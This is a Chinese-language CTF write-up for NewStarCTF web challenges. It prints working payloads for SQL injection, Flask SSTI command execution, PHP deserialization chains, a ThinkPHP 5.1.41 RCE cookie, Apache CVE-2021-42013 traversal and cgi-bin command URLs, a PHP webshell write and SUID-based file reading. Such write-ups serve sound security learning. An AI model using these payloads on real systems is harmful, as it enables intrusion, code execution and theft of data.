----------WEEK1----------
BUU NewStarCTF 公开赛赛道 WEEK1 [NotPHP]
先看题目,要传参加绕过。
分析一下代码:首先get一个data=data://test/plain,Wel…。然后key1和2用数组可以绕过。num=2077a可以绕过弱类型。eval()中的php语句被#
注释了,我们需要通过换行%0a来忽视这个注释,所以再构造cmd=%0asystem(‘ls /’);
payload:
?data=data://test/plain,Welcome%20to%20CTF&key1[]=1&key2[]=7&cmd=%0asystem(%27cat%20/flag%27);
num=2077a //POST
----------WEEK2----------
BUU NewStarCTF 公开赛赛道 WEEK2 [IncludeOne]
看看题干,伪随机数工具。
分析一下代码,预测一下下一个随机数,进行md5强比较,之后get文件,有正则。
随机数预测如下:
实际上是mt_rand()函数存在漏洞,通过mt_srand(XXX)中输入,每次mt_rand()生成的随机数都是固定的几项。通过php_mt_seed这个工具可以通过mt_rand()生成的数找到mt_srand(XXX)中的XXX。
文件夹里面开终端
time ./php_mt_seed 1219893521
<?php
$a = mt_srand(1145146);
echo mt_rand();
echo "\n";
echo mt_rand();
?>
然后传入
?file=php://filter/NewStar/read=string.rot13/resource=flag.php
rot13代替base。
BUU NewStarCTF 公开赛赛道 WEEK2 [UnserializeOne]
先看题目:给了一个hint,https://zhuanlan.zhihu.com/p/377676274。
有protected注意要url编码
链子: Start::destruct()->Sec::toString() ->easy::call()->eeee->clone()->Start::isset->sec::invoke()
exp:
<?php
#Something useful for you : https://zhuanlan.zhihu.com/p/377676274
class Start{
public $name;
protected $func;
public function __destruct()
{
echo "Welcome to NewStarCTF, ".$this->name;
//1.name=Sec(Easy("1"),eeee(Start("",Sec("2","3"))))
}
public function __isset($var)
{
($this->func)();
//5. Sec("2","3") ("")
}
public function __construct($name, $func)
{
$this->name = $name;
$this->func = $func;
}
}
class Sec{
private $obj;
private $var;
public function __toString()
{
$this->obj->check($this->var);
//2.Easy->check[不存在] ( eeee(Start("",Sec("2","3"))) )
return "CTFers";
}
public function __invoke()
{
echo file_get_contents('flag');
//6. get flag
}
public function __construct($obj,$var)
{
$this->obj = $obj;
$this->var = $var;
}
}
class Easy{
public $cla;
public function __call($fun, $var)
{
$this->cla = clone $var[0];
//3. 1= clone eeee(Start("",Sec("2","3")))
}
public function __construct($cla)
{
$this->cla = $cla;
}
}
class eeee{
public $obj;
public function __clone()
{
if(isset($this->obj->cmd)){
echo "success";
}
//4. Start("",Sec("2","3"))->obj->cmd isset到不可访问属性
}
public function __construct($obj)
{
$this->obj = $obj;
}
}
$a = new Start(new Sec(new Easy("1"),new eeee(new Start("",new Sec("2","3")))),"");
echo urlencode(serialize($a));
BUU NewStarCTF 公开赛赛道 WEEK2 [Word-For-You(2 Gen)]
是SQL,看了一下闭合,字符型。
分析一下,有报错无回显,报错注入冲冲冲。
1' union select updatexml(1,concat(0x7e, (select(group_concat(table_name))from information_schema.tables where table_schema="wfy") ,0x7e),1)#
//wfy_admin,wfy_comments,wfy_info 数据表名称
1' union select updatexml(1,concat(0x7e, (select(group_concat(column_name))from information_schema.columns where table_name="wfy_comments") ,0x7e),1)#
//id,text,user,name,display
1' union select updatexml(1,concat(0x7e, (select(group_concat(column_name))from information_schema.columns where table_name="wfy_admin") ,0x7e),1)#
//Id,username,password,cookie 列/字段名称
name=1'or+updatexml(1,substr(concat(0x7e,(select group_concat(text)from(wfy.wfy_comments)),0x7e),155,30),1)#
//正好得到整段flag。
BUU NewStarCTF 公开赛赛道 WEEK2 [ezAPI]
一开始还以为是SQL。
后来看了佬wp,先拿dirsearch扫一下。发现了一个备份文件。
里面有一个index.php
<?php
error_reporting(0);
$id = $_POST['id'];
function waf($str)
{
if (!is_numeric($str) || preg_replace("/[0-9]/", "", $str) !== "") {
return False;
} else {
return True;
}
}
function send($data)
{
$options = array(
'http' => array(
'method' => 'POST',
'header' => 'Content-type: application/json',
'content' => $data,
'timeout' => 10 * 60
)
);
$context = stream_context_create($options);
$result = file_get_contents("http://graphql:8080/v1/graphql", false, $context);
//
return $result;
}
if (isset($id)) {
if (waf($id)) {
isset($_POST['data']) ? $data = $_POST['data'] : $data = '{"query":"query{\nusers_user_by_pk(id:' . $id . ') {\nname\n}\n}\n", "variables":null}';
//可以看出data是json格式。
$res = json_decode(send($data)); //res进行了json解码
if ($res->data->users_user_by_pk->name !== NULL) {
echo "ID: " . $id . "<br>Name: " . $res->data->users_user_by_pk->name;
} else {
echo "<b>Can't found it!</b><br><br>DEBUG: ";
var_dump($res->data);
}
} else {
die("<b>Hacker! Only Number!</b>");
}
} else {
die("<b>No Data?</b>");
}
?>
从源码看到了,id过滤的非常严格,真的只能输入数字。但是还可以POST一个data,格式和json类似。
CV劲远佬佬的语雀。这个是graphQL内省查询,具体了解:https://mp.weixin.qq.com/s/gp2jGrLPllsh5xn7vn9BwQ
内省查询payload:
{"query":"\n query IntrospectionQuery {\r\n __schema {\r\n queryType { name }\r\n mutationType { name }\r\n subscriptionType { name }\r\n types {\r\n ...FullType\r\n }\r\n directives {\r\n name\r\n description\r\n locations\r\n args {\r\n ...InputValue\r\n }\r\n }\r\n }\r\n }\r\n\r\n fragment FullType on __Type {\r\n kind\r\n name\r\n description\r\n fields(includeDeprecated: true) {\r\n name\r\n description\r\n args {\r\n ...InputValue\r\n }\r\n type {\r\n ...TypeRef\r\n }\r\n isDeprecated\r\n deprecationReason\r\n }\r\n inputFields {\r\n ...InputValue\r\n }\r\n interfaces {\r\n ...TypeRef\r\n }\r\n enumValues(includeDeprecated: true) {\r\n name\r\n description\r\n isDeprecated\r\n deprecationReason\r\n }\r\n possibleTypes {\r\n ...TypeRef\r\n }\r\n }\r\n\r\n fragment InputValue on __InputValue {\r\n name\r\n description\r\n type { ...TypeRef }\r\n defaultValue\r\n }\r\n\r\n fragment TypeRef on __Type {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }\r\n ","variables":null}
返回包返回的就是该API端点的所有信息。复制返回包到以下网址可以得到所有的对象定义、接口信息。
在全部接口信息中找到ffffllllaaagggg_1n_h3r3_flag接口
题目源码有段。
isset($_POST['data']) ? $data = $_POST['data'] : $data = '{"query":"query{\nusers_user_by_pk(id:' . $id . ') {\nname\n}\n}\n", "variables":null}';
data的格式是{"query":"query{\nusers_user_by_pk(id:' . $id . ') {\nname\n}\n}\n", "variables":null}
我们模仿这个,把id换成ffffllllaaagggg_1n_h3r3_flag。
payload:
id=1&data={"query":"query{\nffffllllaaagggg_1n_h3r3_flag{\nflag\n}\n}\n", "variables":null}
----------WEEK3----------
BUU NewStarCTF 公开赛赛道 WEEK3 [BabySSTI_One]
找到注入点,?name=
先试试工具,焚靖。只能说牛逼。
手工试试:
打开地址,在F12中看到提示为flask ssti,然后需要以GET的方式传递name参数上去
因此先看一下有无过滤,输入?name={{class}}
,页面显示说明存在过滤
使用中括号方式绕过,输入?name={{''['__cl'+'ass__']}}
,在源代码中发现绕过成功
输入?name={{''['__cl'+'ass__']['__ba'+'se__']['__subcl'+'asses__']()}}
,通过__subclass__()返回当前类所有的子类 – 找到os._wrap_close类,位置在第117
输入?name={{''['__cl'+'ass__']['__ba'+'se__']['__subcl'+'asses__']()[117]['__in'+'it__']['__glo'+'bals__']}}
,通过__init__(初始化方法)、globals(访问全局变量,字典)查找可用的类 – 找到__builtins__
输入?name={{''['__cl'+'ass__']['__ba'+'se__']['__subcl'+'asses__']()[117]['__in'+'it__']['__glo'+'bals__']['__builtins__'].eval("__import__('os').popen('ls').read()")}}
,通过__builtins__中的eval找到页面源代码。
输入?name={{''['__cl'+'ass__']['__ba'+'se__']['__subcl'+'asses__']()[117]['__in'+'it__']['__glo'+'bals__']['__builtins__'].eval("__import__('os').popen('ca'+'t app.py').read()")}}
,打印源代码
import Flask, request
from jinja2 import Template
import re
app = Flask(__name__)
@app.route("/")
def index():
name = request.args.get('name', 'CTFer')
if not re.findall('class|base|init|mro|flag|cat|more|env', name):
t = Template("<body bgcolor=#E1FFFF><br><p><b><center>Welcome to NewStarCTF, Dear " + name + "</center></b></p><br><hr><br><center>Try to GET me a NAME</center><!--This is Hint: Flask SSTI is so easy to bypass waf!--></body>")
return t.render()
else:
t = Template("Get Out!Hacker!")
return t.render()
if __name__ == "__main__":
app.run()
通过源代码得知,的确被过滤了很多关键字
输入?name={{''['__cl'+'ass__']['__ba'+'se__']['__subcl'+'asses__']()[117]['__in'+'it__']['__glo'+'bals__']['__builtins__'].eval("__import__('os').popen('ls -l /').read()")}}
,查看根目录下所有文件
输入?name={{''['__cl'+'ass__']['__ba'+'se__']['__subcl'+'asses__']()[117]['__in'+'it__']['__glo'+'bals__']['__builtins__'].eval("__import__('os').popen('ca'+'t /fla'+'g_in_here').read()")}}
,打印flag
知识点
__class__ 返回类型所属的对象
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ 返回该对象所继承的基类 // __base__和__mro__都是用来寻找基类的
__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用
注意点:在burp中GET中太长会无法识别,用hackbar即可
BUU NewStarCTF 公开赛赛道 WEEK3 [Maybe You Have To think More]
题目描述:PHP反序列化漏洞系列第二题。想啊想啊想不到,这可不是SQL注入哦
hint:看看Cookie ThinkPHP 5框架反序列化RCE
开题。
用户名输入Jay17
,发现是GET方式提交的,参数是name
。
当前界面未发现任何疑点
根据hint,他的cookie疑似base64编码字符串,解码后是一个序列化字符串。
访问不存在的路由,刻意使其报错。发现网站是thinkphp
,版本是5.1.41
。
那么thinkphp反序列化的点就是cookie了,我们直接使用现成的exp生成序列化字符串,base64编码后修改cookie即可。
exp:
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["Jay17"=>["hello","world"]];
$this->data = array('Jay17'=>new Request());
}
}
class Request
{
protected $hook = [];
protected $filter;
protected $config = [
// 表单请求类型伪装变量
'var_method' => '_method',
// 表单ajax伪装变量
'var_ajax' => '_ajax',
// 表单pjax伪装变量
'var_pjax' => '_pjax',
// PATHINFO变量名 用于兼容模式
'var_pathinfo' => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默认全局过滤方法 用逗号分隔多个
'default_filter' => '',
// 域名根,如thinkphp.cn
'url_domain_root' => '',
// HTTPS代理标识
'https_agent_name' => '',
// IP代理获取标识
'http_agent_ip' => 'HTTP_X_REAL_IP',
// URL伪静态后缀
'url_html_suffix' => 'html',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>''];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>
TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czo1OiJKYXkxNyI7YToyOntpOjA7czo1OiJoZWxsbyI7aToxO3M6NToid29ybGQiO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czo1OiJKYXkxNyI7TzoxMzoidGhpbmtcUmVxdWVzdCI6Mzp7czo3OiIAKgBob29rIjthOjE6e3M6NzoidmlzaWJsZSI7YToyOntpOjA7cjo5O2k6MTtzOjY6ImlzQWpheCI7fX1zOjk6IgAqAGZpbHRlciI7czo2OiJzeXN0ZW0iO3M6OToiACoAY29uZmlnIjthOjE6e3M6ODoidmFyX2FqYXgiO3M6MDoiIjt9fX19fX0=
之后GET提交形式类似于任意名字=命令
的参数就行啦。
payload: (flag在环境变量里面)
GET:?anyname=env
Cookie:tp_user=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czo1OiJKYXkxNyI7YToyOntpOjA7czo1OiJoZWxsbyI7aToxO3M6NToid29ybGQiO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czo1OiJKYXkxNyI7TzoxMzoidGhpbmtcUmVxdWVzdCI6Mzp7czo3OiIAKgBob29rIjthOjE6e3M6NzoidmlzaWJsZSI7YToyOntpOjA7cjo5O2k6MTtzOjY6ImlzQWpheCI7fX1zOjk6IgAqAGZpbHRlciI7czo2OiJzeXN0ZW0iO3M6OToiACoAY29uZmlnIjthOjE6e3M6ODoidmFyX2FqYXgiO3M6MDoiIjt9fX19fX0=
参考文章:
Thinkphp5.1.37-5.1.41(最新版本) 反序列化漏洞复现与分析 - FreeBuf网络安全行业门户
----------WEEK4----------
BUU NewStarCTF 公开赛赛道 WEEK4 [So Baby RCE]
直接给了源码。
过滤非常狠,读取文件命令基本上都没了。
绕过过滤:
被过滤字符 | 绕过方式 |
---|---|
读取文件命令 | 空变量绕过( 1 、 1、 1、@)、sort命令 |
cd / | cd …&&cd …&&cd …&&cd … |
分隔符 | %0a、%26%26(&&的url编码) |
空格 | %09、${IFS} |
payload:
?cmd=cd%09..%26%26cd%09..%26%26cd%09..%26%26sort%09ffff?lllaaaaggggg
?cmd=cd%09..%26%26cd%09..%26%26cd%09..%26%26ca$1t%09ffff?lllaaaaggggg
当然我们也可以Bash内置变量RCE
。
详情见:Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 全_Jay 17的博客-CSDN博客 中的web118-web124
先查看一下环境变量
?cmd=en$1v
然后来个替换表。
字符 | 对应的Bash内置变量 |
---|---|
nl | P A T H : 14 : 1 {PATH:14:1} PATH:14:1{PWD:12:1} |
/ | ${PWD:0:1} |
但是奇怪的是,我们echo $PWD
有回显,echo ${PWD:0:1}
无回显。
换个路子。
expr -- 用于在UNIX/LINUX下求表达式变量的值
$() -- 可以执行Linux命令
substr -- 截取字符串(Linux字符串 下标从一开始)
拿个斜杠看看,成功了
echo $(expr substr $PWD 1 1)
# 加上绕过
ec$1ho${IFS}$(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1)
payload:
//cd /&&ls
?cmd=cd%09$(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1)%26%26ls
//nl /ffff?lllaaaaggggg
?cmd=$(expr${IFS}substr${IFS}$PATH${IFS}15${IFS}1)$(expr${IFS}substr${IFS}$PWD${IFS}13${IFS}1)%09$(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1)ffff?lllaaaaggggg
$(expr${IFS}substr${IFS}$PATH${IFS}15${IFS}1) //n
$(expr${IFS}substr${IFS}$PWD${IFS}13${IFS}1) //l
----------WEEK5----------
BUU NewStarCTF 公开赛赛道 WEEK5 [Unsafe Apache]
开题。
题目名称是不安全的Apache,想必是Apache相关漏洞。network查看返回包中的Apache版本是2.4.50
。
这个版本有一个CVE。Apache HTTP Server路径穿越漏洞 (CVE-2021-42013)
现在我们就来了解一下这个漏洞的前世今生。
Apache 披露了一个在 Apache HTTP Server 2.4.49 上引入的漏洞,称为 CVE-2021-41773。同时发布了2.4.50更新,修复了这个漏洞。该漏洞允许攻击者绕过路径遍历保护,使用编码并读取网络服务器文件系统上的任意文件。运行此版本 Apache 的 Linux 和 Windows 服务器都受到影响。此漏洞是在 2.4.49 中引入的,该补丁旨在提高 URL 验证的性能。可以通过对“.”进行编码来绕过新的验证方法。如果 Apache 网络服务器配置未设置为“要求全部拒绝”,则漏洞利用相对简单。通过对这些字符进行编码并使用有效负载修改 URL,可以实现经典的路径遍历。
Apache版本2.4.50是对CVE-2021-(版本2.4.49)的修复,但是修复不完整导致可以绕过,从而产生了CVE-2021-42013(版本2.4.50)。
CVE-2021-41773:
Apache HTTP Server 2.4.49
版本使用的ap_normalize_path
函数在对路径参数进行规范化时会先进行url解码,然后判断是否存在…/的路径穿越符。
也就是说这个函数会检测路径中是否存在%
,存在再检测其紧跟的两个字符16进制字符,是的话。会对其进行url解码,如:%2e
->.
,转换完之后再检测是不是存在../
,防止路径穿越。
但是奇怪的是%2e./
能检测出来,但是.%2e/
不行。原来它是检测.
后是不是跟着./
。
所以用.%2e/
或者%2e%2e
就能绕过这个函数触发路径穿越。
CVE-2021-42013:
这时修复了对.%2e
的检测。
在处理外部HTTP请求时,会调用 ap_process_request_internal
函数对url路径进行处理,在该函数中,首先会调用ap_normalize_path
函数进行一次url解码,之后会调用ap_unescape_url
函数进行二次解码。
这时候我们只需要将…/url编码两次就行了。
ap_normalize_path
函数调用栈如下,在处理前path参数为/icons/.%%32e/.%%32e/.%%32e/.%%32e/etc/passwd
经过ap_normalize_path
函数处理后path参数变成/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd
经过unescape_url
函数处理后,可以看到此时的url字符串内容变成/icons/../../../../etc/passwd
==补充一下:==对于没有进⾏安全配置的Apache服务器,默认情况可以⽤xxx.com/icons/
的⽅式打开Apache⽬录下的icons⽂件夹,并且会罗列出⽂件列表。(一、可以路径穿越读取文件)
在服务端开启了cgi或cgid这两个mod的情况下xxx.com/cgi-bin/xxx/bin/sh
,这个路径穿越漏洞将可以执行任意命令。POST方式直接提交命令,前面要加一个echo;
。(二、可以命令执行)
对两个CVE的修复:
2.4.51版本针对该漏洞进行了多处修改,最核心的一处修改是在ap_normalize_path函数中加强了对url编码的校验,如果检测到存在非标准url编码(不是%+两个十六进制字符)的情况,就返回编码错误,从根本上杜绝了多重编码可能导致的绕过。
payload:
读取文件:
URL/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
执行命令:
URL/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
POST:echo;nl /ffffllllaaagggg_cc084c485d
BUU NewStarCTF 公开赛赛道 WEEK5 [So Baby RCE Again]
考点:无回显RCE+提权
直接给了源码。
这题用shell_exec执行命令,shell_exec返回是无回显的。所以是无回显RCE。
经过尝试,我们有写入文件的权限,这题就用写文件然后访问文件得到命令执行的内容。当然也可以直接执行命令,写马到文件。这样更加方便。
?cmd=echo '<?php @eval($_POST[1])?>' > 1.php
成功写入,用phpinfo验证。
但是直接cat flag
返回权限不足。
之后利用find / -perm -u=s -type f 2>/dev/null
命令查看具有suid权限的命令,然后发现date
命令具有suid权限。那我们就可以用date命令读取flag文件。
payload:
URL/1.php
POST:1=system('date --file=/ffll444aaggg 2> 1.txt');
或者
1=system('date --file /ffll444aaggg 2> 1.txt');
或者
1=system('date -f /ffll444aaggg 2> 1.txt');
使用date -f
命令可以以报错的方式将文件里面的内容全部弄出来。因为是通过报错方式得到文件内容,所以要使用错误重定向 2>
。